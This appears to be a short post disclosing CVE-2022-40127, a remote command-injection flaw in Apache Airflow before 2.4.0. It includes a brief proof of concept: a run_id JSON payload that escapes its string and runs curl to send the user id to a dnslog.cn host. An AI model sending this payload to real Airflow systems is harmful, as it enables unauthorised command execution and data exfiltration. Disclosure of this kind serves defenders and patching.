💨 Apache Airflow RCE

Tracked as CVE-2022-40127, the flaw affects Apache Airflow versions prior to 2.4.0. Apache Airflow could allow a remote attacker to execute arbitrary commands via the manually provided run_id parameter, which exists in Example Dags of Apache Airflow. By sending a specially crafted request, an attacker could exploit the CVE-2022-40127 flaw to execute arbitrary commands.

PoC:
1. Active example_bash_operator at DAGs
2. Run ID parameter
{"test":"\";curl `id -u`.xxx.dnslog.cn;\""}

#apache #airflow #dags #rce